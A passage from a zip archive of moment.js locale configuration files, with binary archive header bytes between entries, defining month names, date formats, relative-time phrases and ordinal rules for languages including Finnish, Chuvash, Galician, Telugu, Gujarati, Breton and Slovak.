    relativeTime : {
        future : 'en %s',
        past : 'hace %s',
        s : 'unos segundos',
        ss : '%d segundos',
        m : 'un minuto',
        mm : '%d minutos',
        h : 'una hora',
        hh : '%d horas',
        d : 'un día',
        dd : '%d días',
        M : 'un mes',
        MM : '%d meses',
        y : 'un año',
        yy : '%d años'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal : '%dº',
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\B�zB�
�
locale/fi.jsnu�[���//! moment.js locale configuration
//! locale : Finnish [fi]
//! author : Tarmo Aidantausta : https://github.com/bleadof

import moment from '../moment';

var numbersPast = 'nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän'.split(' '),
    numbersFuture = [
        'nolla', 'yhden', 'kahden', 'kolmen', 'neljän', 'viiden', 'kuuden',
        numbersPast[7], numbersPast[8], numbersPast[9]
    ];
function translate(number, withoutSuffix, key, isFuture) {
    var result = '';
    switch (key) {
        case 's':
            return isFuture ? 'muutaman sekunnin' : 'muutama sekunti';
        case 'ss':
            return isFuture ? 'sekunnin' : 'sekuntia';
        case 'm':
            return isFuture ? 'minuutin' : 'minuutti';
        case 'mm':
            result = isFuture ? 'minuutin' : 'minuuttia';
            break;
        case 'h':
            return isFuture ? 'tunnin' : 'tunti';
        case 'hh':
            result = isFuture ? 'tunnin' : 'tuntia';
            break;
        case 'd':
            return isFuture ? 'päivän' : 'päivä';
        case 'dd':
            result = isFuture ? 'päivän' : 'päivää';
            break;
        case 'M':
            return isFuture ? 'kuukauden' : 'kuukausi';
        case 'MM':
            result = isFuture ? 'kuukauden' : 'kuukautta';
            break;
        case 'y':
            return isFuture ? 'vuoden' : 'vuosi';
        case 'yy':
            result = isFuture ? 'vuoden' : 'vuotta';
            break;
    }
    result = verbalNumber(number, isFuture) + ' ' + result;
    return result;
}
function verbalNumber(number, isFuture) {
    return number < 10 ? (isFuture ? numbersFuture[number] : numbersPast[number]) : number;
}

export default moment.defineLocale('fi', {
    months : 'tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu'.split('_'),
    monthsShort : 'tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu'.split('_'),
    weekdays : 'sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai'.split('_'),
    weekdaysShort : 'su_ma_ti_ke_to_pe_la'.split('_'),
    weekdaysMin : 'su_ma_ti_ke_to_pe_la'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD.MM.YYYY',
        LL : 'Do MMMM[ta] YYYY',
        LLL : 'Do MMMM[ta] YYYY, [klo] HH.mm',
        LLLL : 'dddd, Do MMMM[ta] YYYY, [klo] HH.mm',
        l : 'D.M.YYYY',
        ll : 'Do MMM YYYY',
        lll : 'Do MMM YYYY, [klo] HH.mm',
        llll : 'ddd, Do MMM YYYY, [klo] HH.mm'
    },
    calendar : {
        sameDay : '[tänään] [klo] LT',
        nextDay : '[huomenna] [klo] LT',
        nextWeek : 'dddd [klo] LT',
        lastDay : '[eilen] [klo] LT',
        lastWeek : '[viime] dddd[na] [klo] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s päästä',
        past : '%s sitten',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\���'		locale/cv.jsnu�[���//! moment.js locale configuration
//! locale : Chuvash [cv]
//! author : Anatoly Mironov : https://github.com/mirontoli

import moment from '../moment';

export default moment.defineLocale('cv', {
    months : 'кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав'.split('_'),
    monthsShort : 'кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш'.split('_'),
    weekdays : 'вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун'.split('_'),
    weekdaysShort : 'выр_тун_ытл_юн_кӗҫ_эрн_шӑм'.split('_'),
    weekdaysMin : 'вр_тн_ыт_юн_кҫ_эр_шм'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD-MM-YYYY',
        LL : 'YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]',
        LLL : 'YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm',
        LLLL : 'dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm'
    },
    calendar : {
        sameDay: '[Паян] LT [сехетре]',
        nextDay: '[Ыран] LT [сехетре]',
        lastDay: '[Ӗнер] LT [сехетре]',
        nextWeek: '[Ҫитес] dddd LT [сехетре]',
        lastWeek: '[Иртнӗ] dddd LT [сехетре]',
        sameElse: 'L'
    },
    relativeTime : {
        future : function (output) {
            var affix = /сехет$/i.exec(output) ? 'рен' : /ҫул$/i.exec(output) ? 'тан' : 'ран';
            return output + affix;
        },
        past : '%s каялла',
        s : 'пӗр-ик ҫеккунт',
        ss : '%d ҫеккунт',
        m : 'пӗр минут',
        mm : '%d минут',
        h : 'пӗр сехет',
        hh : '%d сехет',
        d : 'пӗр кун',
        dd : '%d кун',
        M : 'пӗр уйӑх',
        MM : '%d уйӑх',
        y : 'пӗр ҫул',
        yy : '%d ҫул'
    },
    dayOfMonthOrdinalParse: /\d{1,2}-мӗш/,
    ordinal : '%d-мӗш',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\\	y�S	S	locale/gl.jsnu�[���//! moment.js locale configuration
//! locale : Galician [gl]
//! author : Juan G. Hurtado : https://github.com/juanghurtado

import moment from '../moment';

export default moment.defineLocale('gl', {
    months : 'xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro'.split('_'),
    monthsShort : 'xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.'.split('_'),
    monthsParseExact: true,
    weekdays : 'domingo_luns_martes_mércores_xoves_venres_sábado'.split('_'),
    weekdaysShort : 'dom._lun._mar._mér._xov._ven._sáb.'.split('_'),
    weekdaysMin : 'do_lu_ma_mé_xo_ve_sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D [de] MMMM [de] YYYY',
        LLL : 'D [de] MMMM [de] YYYY H:mm',
        LLLL : 'dddd, D [de] MMMM [de] YYYY H:mm'
    },
    calendar : {
        sameDay : function () {
            return '[hoxe ' + ((this.hours() !== 1) ? 'ás' : 'á') + '] LT';
        },
        nextDay : function () {
            return '[mañá ' + ((this.hours() !== 1) ? 'ás' : 'á') + '] LT';
        },
        nextWeek : function () {
            return 'dddd [' + ((this.hours() !== 1) ? 'ás' : 'a') + '] LT';
        },
        lastDay : function () {
            return '[onte ' + ((this.hours() !== 1) ? 'á' : 'a') + '] LT';
        },
        lastWeek : function () {
            return '[o] dddd [pasado ' + ((this.hours() !== 1) ? 'ás' : 'a') + '] LT';
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : function (str) {
            if (str.indexOf('un') === 0) {
                return 'n' + str;
            }
            return 'en ' + str;
        },
        past : 'hai %s',
        s : 'uns segundos',
        ss : '%d segundos',
        m : 'un minuto',
        mm : '%d minutos',
        h : 'unha hora',
        hh : '%d horas',
        d : 'un día',
        dd : '%d días',
        M : 'un mes',
        MM : '%d meses',
        y : 'un ano',
        yy : '%d anos'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal : '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\)�X��locale/en-gb.jsnu�[���//! moment.js locale configuration
//! locale : English (United Kingdom) [en-gb]
//! author : Chris Gedrim : https://github.com/chrisgedrim

import moment from '../moment';

export default moment.defineLocale('en-gb', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        ss : '%d seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�"���locale/tl-ph.jsnu�[���//! moment.js locale configuration
//! locale : Tagalog (Philippines) [tl-ph]
//! author : Dan Hagman : https://github.com/hagmandan

import moment from '../moment';

export default moment.defineLocale('tl-ph', {
    months : 'Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre'.split('_'),
    monthsShort : 'Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis'.split('_'),
    weekdays : 'Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado'.split('_'),
    weekdaysShort : 'Lin_Lun_Mar_Miy_Huw_Biy_Sab'.split('_'),
    weekdaysMin : 'Li_Lu_Ma_Mi_Hu_Bi_Sab'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'MM/D/YYYY',
        LL : 'MMMM D, YYYY',
        LLL : 'MMMM D, YYYY HH:mm',
        LLLL : 'dddd, MMMM DD, YYYY HH:mm'
    },
    calendar : {
        sameDay: 'LT [ngayong araw]',
        nextDay: '[Bukas ng] LT',
        nextWeek: 'LT [sa susunod na] dddd',
        lastDay: 'LT [kahapon]',
        lastWeek: 'LT [noong nakaraang] dddd',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'sa loob ng %s',
        past : '%s ang nakalipas',
        s : 'ilang segundo',
        ss : '%d segundo',
        m : 'isang minuto',
        mm : '%d minuto',
        h : 'isang oras',
        hh : '%d oras',
        d : 'isang araw',
        dd : '%d araw',
        M : 'isang buwan',
        MM : '%d buwan',
        y : 'isang taon',
        yy : '%d taon'
    },
    dayOfMonthOrdinalParse: /\d{1,2}/,
    ordinal : function (number) {
        return number;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�C���locale/ar-ma.jsnu�[���//! moment.js locale configuration
//! locale : Arabic (Morocco) [ar-ma]
//! author : ElFadili Yassine : https://github.com/ElFadiliY
//! author : Abdel Said : https://github.com/abdelsaid

import moment from '../moment';

export default moment.defineLocale('ar-ma', {
    months : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
    monthsShort : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'),
    weekdays : 'الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'),
    weekdaysShort : 'احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'),
    weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[اليوم على الساعة] LT',
        nextDay: '[غدا على الساعة] LT',
        nextWeek: 'dddd [على الساعة] LT',
        lastDay: '[أمس على الساعة] LT',
        lastWeek: 'dddd [على الساعة] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'في %s',
        past : 'منذ %s',
        s : 'ثوان',
        ss : '%d ثانية',
        m : 'دقيقة',
        mm : '%d دقائق',
        h : 'ساعة',
        hh : '%d ساعات',
        d : 'يوم',
        dd : '%d أيام',
        M : 'شهر',
        MM : '%d أشهر',
        y : 'سنة',
        yy : '%d سنوات'
    },
    week : {
        dow : 6, // Saturday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\���r
r
locale/te.jsnu�[���//! moment.js locale configuration
//! locale : Telugu [te]
//! author : Krishna Chaitanya Thota : https://github.com/kcthota

import moment from '../moment';

export default moment.defineLocale('te', {
    months : 'జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జూలై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్'.split('_'),
    monthsShort : 'జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జూలై_ఆగ._సెప్._అక్టో._నవ._డిసె.'.split('_'),
    monthsParseExact : true,
    weekdays : 'ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం'.split('_'),
    weekdaysShort : 'ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని'.split('_'),
    weekdaysMin : 'ఆ_సో_మం_బు_గు_శు_శ'.split('_'),
    longDateFormat : {
        LT : 'A h:mm',
        LTS : 'A h:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm',
        LLLL : 'dddd, D MMMM YYYY, A h:mm'
    },
    calendar : {
        sameDay : '[నేడు] LT',
        nextDay : '[రేపు] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[నిన్న] LT',
        lastWeek : '[గత] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s లో',
        past : '%s క్రితం',
        s : 'కొన్ని క్షణాలు',
        ss : '%d సెకన్లు',
        m : 'ఒక నిమిషం',
        mm : '%d నిమిషాలు',
        h : 'ఒక గంట',
        hh : '%d గంటలు',
        d : 'ఒక రోజు',
        dd : '%d రోజులు',
        M : 'ఒక నెల',
        MM : '%d నెలలు',
        y : 'ఒక సంవత్సరం',
        yy : '%d సంవత్సరాలు'
    },
    dayOfMonthOrdinalParse : /\d{1,2}వ/,
    ordinal : '%dవ',
    meridiemParse: /రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'రాత్రి') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'ఉదయం') {
            return hour;
        } else if (meridiem === 'మధ్యాహ్నం') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'సాయంత్రం') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'రాత్రి';
        } else if (hour < 10) {
            return 'ఉదయం';
        } else if (hour < 17) {
            return 'మధ్యాహ్నం';
        } else if (hour < 20) {
            return 'సాయంత్రం';
        } else {
            return 'రాత్రి';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\ЭIqjjlocale/gu.jsnu�[���//! moment.js locale configuration
//! locale : Gujarati [gu]
//! author : Kaushik Thanki : https://github.com/Kaushik1987

import moment from '../moment';

var symbolMap = {
        '1': '૧',
        '2': '૨',
        '3': '૩',
        '4': '૪',
        '5': '૫',
        '6': '૬',
        '7': '૭',
        '8': '૮',
        '9': '૯',
        '0': '૦'
    },
    numberMap = {
        '૧': '1',
        '૨': '2',
        '૩': '3',
        '૪': '4',
        '૫': '5',
        '૬': '6',
        '૭': '7',
        '૮': '8',
        '૯': '9',
        '૦': '0'
    };

export default moment.defineLocale('gu', {
    months: 'જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર'.split('_'),
    monthsShort: 'જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.'.split('_'),
    monthsParseExact: true,
    weekdays: 'રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર'.split('_'),
    weekdaysShort: 'રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ'.split('_'),
    weekdaysMin: 'ર_સો_મં_બુ_ગુ_શુ_શ'.split('_'),
    longDateFormat: {
        LT: 'A h:mm વાગ્યે',
        LTS: 'A h:mm:ss વાગ્યે',
        L: 'DD/MM/YYYY',
        LL: 'D MMMM YYYY',
        LLL: 'D MMMM YYYY, A h:mm વાગ્યે',
        LLLL: 'dddd, D MMMM YYYY, A h:mm વાગ્યે'
    },
    calendar: {
        sameDay: '[આજ] LT',
        nextDay: '[કાલે] LT',
        nextWeek: 'dddd, LT',
        lastDay: '[ગઇકાલે] LT',
        lastWeek: '[પાછલા] dddd, LT',
        sameElse: 'L'
    },
    relativeTime: {
        future: '%s મા',
        past: '%s પેહલા',
        s: 'અમુક પળો',
        ss: '%d સેકંડ',
        m: 'એક મિનિટ',
        mm: '%d મિનિટ',
        h: 'એક કલાક',
        hh: '%d કલાક',
        d: 'એક દિવસ',
        dd: '%d દિવસ',
        M: 'એક મહિનો',
        MM: '%d મહિનો',
        y: 'એક વર્ષ',
        yy: '%d વર્ષ'
    },
    preparse: function (string) {
        return string.replace(/[૧૨૩૪૫૬૭૮૯૦]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    // Gujarati notation for meridiems are quite fuzzy in practice. While there exists
    // a rigid notion of a 'Pahar' it is not used as rigidly in modern Gujarati.
    meridiemParse: /રાત|બપોર|સવાર|સાંજ/,
    meridiemHour: function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'રાત') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'સવાર') {
            return hour;
        } else if (meridiem === 'બપોર') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'સાંજ') {
            return hour + 12;
        }
    },
    meridiem: function (hour, minute, isLower) {
        if (hour < 4) {
            return 'રાત';
        } else if (hour < 10) {
            return 'સવાર';
        } else if (hour < 17) {
            return 'બપોર';
        } else if (hour < 20) {
            return 'સાંજ';
        } else {
            return 'રાત';
        }
    },
    week: {
        dow: 0, // Sunday is the first day of the week.
        doy: 6 // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\?����locale/yo.jsnu�[���//! moment.js locale configuration
//! locale : Yoruba Nigeria [yo]
//! author : Atolagbe Abisoye : https://github.com/andela-batolagbe

import moment from '../moment';

export default moment.defineLocale('yo', {
    months : 'Sẹ́rẹ́_Èrèlè_Ẹrẹ̀nà_Ìgbé_Èbibi_Òkùdu_Agẹmo_Ògún_Owewe_Ọ̀wàrà_Bélú_Ọ̀pẹ̀̀'.split('_'),
    monthsShort : 'Sẹ́r_Èrl_Ẹrn_Ìgb_Èbi_Òkù_Agẹ_Ògú_Owe_Ọ̀wà_Bél_Ọ̀pẹ̀̀'.split('_'),
    weekdays : 'Àìkú_Ajé_Ìsẹ́gun_Ọjọ́rú_Ọjọ́bọ_Ẹtì_Àbámẹ́ta'.split('_'),
    weekdaysShort : 'Àìk_Ajé_Ìsẹ́_Ọjr_Ọjb_Ẹtì_Àbá'.split('_'),
    weekdaysMin : 'Àì_Aj_Ìs_Ọr_Ọb_Ẹt_Àb'.split('_'),
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendar : {
        sameDay : '[Ònì ni] LT',
        nextDay : '[Ọ̀la ni] LT',
        nextWeek : 'dddd [Ọsẹ̀ tón\'bọ] [ni] LT',
        lastDay : '[Àna ni] LT',
        lastWeek : 'dddd [Ọsẹ̀ tólọ́] [ni] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'ní %s',
        past : '%s kọjá',
        s : 'ìsẹjú aayá die',
        ss :'aayá %d',
        m : 'ìsẹjú kan',
        mm : 'ìsẹjú %d',
        h : 'wákati kan',
        hh : 'wákati %d',
        d : 'ọjọ́ kan',
        dd : 'ọjọ́ %d',
        M : 'osù kan',
        MM : 'osù %d',
        y : 'ọdún kan',
        yy : 'ọdún %d'
    },
    dayOfMonthOrdinalParse : /ọjọ́\s\d{1,2}/,
    ordinal : 'ọjọ́ %d',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4 // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\�9#���locale/br.jsnu�[���//! moment.js locale configuration
//! locale : Breton [br]
//! author : Jean-Baptiste Le Duigou : https://github.com/jbleduigou

import moment from '../moment';

function relativeTimeWithMutation(number, withoutSuffix, key) {
    var format = {
        'mm': 'munutenn',
        'MM': 'miz',
        'dd': 'devezh'
    };
    return number + ' ' + mutation(format[key], number);
}
function specialMutationForYears(number) {
    switch (lastNumber(number)) {
        case 1:
        case 3:
        case 4:
        case 5:
        case 9:
            return number + ' bloaz';
        default:
            return number + ' vloaz';
    }
}
function lastNumber(number) {
    if (number > 9) {
        return lastNumber(number % 10);
    }
    return number;
}
function mutation(text, number) {
    if (number === 2) {
        return softMutation(text);
    }
    return text;
}
function softMutation(text) {
    var mutationTable = {
        'm': 'v',
        'b': 'v',
        'd': 'z'
    };
    if (mutationTable[text.charAt(0)] === undefined) {
        return text;
    }
    return mutationTable[text.charAt(0)] + text.substring(1);
}

export default moment.defineLocale('br', {
    months : 'Genver_C\'hwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu'.split('_'),
    monthsShort : 'Gen_C\'hwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker'.split('_'),
    weekdays : 'Sul_Lun_Meurzh_Merc\'her_Yaou_Gwener_Sadorn'.split('_'),
    weekdaysShort : 'Sul_Lun_Meu_Mer_Yao_Gwe_Sad'.split('_'),
    weekdaysMin : 'Su_Lu_Me_Mer_Ya_Gw_Sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'h[e]mm A',
        LTS : 'h[e]mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D [a viz] MMMM YYYY',
        LLL : 'D [a viz] MMMM YYYY h[e]mm A',
        LLLL : 'dddd, D [a viz] MMMM YYYY h[e]mm A'
    },
    calendar : {
        sameDay : '[Hiziv da] LT',
        nextDay : '[Warc\'hoazh da] LT',
        nextWeek : 'dddd [da] LT',
        lastDay : '[Dec\'h da] LT',
        lastWeek : 'dddd [paset da] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'a-benn %s',
        past : '%s \'zo',
        s : 'un nebeud segondennoù',
        ss : '%d eilenn',
        m : 'ur vunutenn',
        mm : relativeTimeWithMutation,
        h : 'un eur',
        hh : '%d eur',
        d : 'un devezh',
        dd : relativeTimeWithMutation,
        M : 'ur miz',
        MM : relativeTimeWithMutation,
        y : 'ur bloaz',
        yy : specialMutationForYears
    },
    dayOfMonthOrdinalParse: /\d{1,2}(añ|vet)/,
    ordinal : function (number) {
        var output = (number === 1) ? 'añ' : 'vet';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\h�ªPPlocale/sk.jsnu�[���//! moment.js locale configuration
//! locale : Slovak [sk]
//! author : Martin Minka : https://github.com/k2s
//! based on work of petrbela : https://github.com/petrbela

import moment from '../moment';

var months = 'január_február_marec_apríl_máj_jún_júl_august_september_október_november_december'.split('_'),
    monthsShort = 'jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec'.split('_');
function plural(n) {
    return (n > 1) && (n < 5);
}
function translate(number, withoutSuffix, key, isFuture) {
    var result = number + ' ';
    switch (key) {
        case 's':  // a few seconds / in a few seconds / a few seconds ago
            return (withoutSuffix || isFuture) ? 'pár sekúnd' : 'pár sekundami';
        case 'ss': // 9 seconds / in 9 seconds / 9 seconds ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'sekundy' : 'sekúnd');
            } else {
                return result + 'sekundami';
            }
            break;
        case 'm':  // a minute / in a minute / a minute ago
            return withoutSuffix ? 'minúta' : (isFuture ? 'minútu' : 'minútou');
        case 'mm': // 9 minutes / in 9 minutes / 9 minutes ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'minúty' : 'minút');
            } else {
                return result + 'minútami';
            }
            break;
        case 'h':  // an hour / in an hour / an hour ago
            return withoutSuffix ? 'hodina' : (isFuture ? 'hodinu' : 'hodinou');
        case 'hh': // 9 hours / in 9 hours / 9 hours ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'hodiny' : 'hodín');
            } else {
                return result + 'hodinami';
            }
            break;
        case 'd':  // a day / in a day / a day ago
            return (withoutSuffix || isFuture) ? 'deň' : 'dňom';
        case 'dd': // 9 days / in 9 days / 9 days ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'dni' : 'dní');
            } else {
                return result + 'dňami';
            }
            break;
        case 'M':  // a month / in a month / a month ago
            return (withoutSuffix || isFuture) ? 'mesiac' : 'mesiacom';
        case 'MM': // 9 months / in 9 months / 9 months ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'mesiace' : 'mesiacov');
            } else {
                return result + 'mesiacmi';
            }
            break;
        case 'y':  // a year / in a year / a year ago
            return (withoutSuffix || isFuture) ? 'rok' : 'rokom';
        case 'yy': // 9 years / in 9 years / 9 years ago
            if (withoutSuffix || isFuture) {
                return result + (plural(number) ? 'roky' : 'rokov');
            } else {
                return result + 'rokmi';
            }
            break;
    }
}

export default moment.defineLocale('sk', {
    months : months,
    monthsShort : monthsShort,
    weekdays : 'nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota'.split('_'),
    weekdaysShort : 'ne_po_ut_st_št_pi_so'.split('_'),
    weekdaysMin : 'ne_po_ut_st_št_pi_so'.split('_'),
    longDateFormat : {
        LT: 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY H:mm',
        LLLL : 'dddd D. MMMM YYYY H:mm'
    },
    calendar : {
        sameDay: '[dnes o] LT',
        nextDay: '[zajtra o] LT',
        nextWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[v nedeľu o] LT';
                case 1:
                case 2:
                    return '[v] dddd [o] LT';
                case 3:
                    return '[v stredu o] LT';
                case 4:
                    return '[vo štvrtok o] LT';
                case 5:
                    return '[v piatok o] LT';
                case 6:
                    return '[v sobotu o] LT';
            }
        },
        lastDay: '[včera o] LT',
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[minulú nedeľu o] LT';
                case 1:
                case 2:
                    return '[minulý] dddd [o] LT';
                case 3:
                    return '[minulú stredu o] LT';
                case 4:
                case 5:
                    return '[minulý] dddd [o] LT';
                case 6:
                    return '[minulú sobotu o] LT';
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'za %s',
        past : 'pred %s',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�f�o��
locale/tzl.jsnu�[���//! moment.js locale configuration
//! locale : Talossan [tzl]
//! author : Robin van der Vliet : https://github.com/robin0van0der0v
//! author : Iustì Canun

import moment from '../moment';

// After the year there should be a slash and the amount of years since December 26, 1979 in Roman numerals.
// This is currently too difficult (maybe even impossible) to add.
export default moment.defineLocale('tzl', {
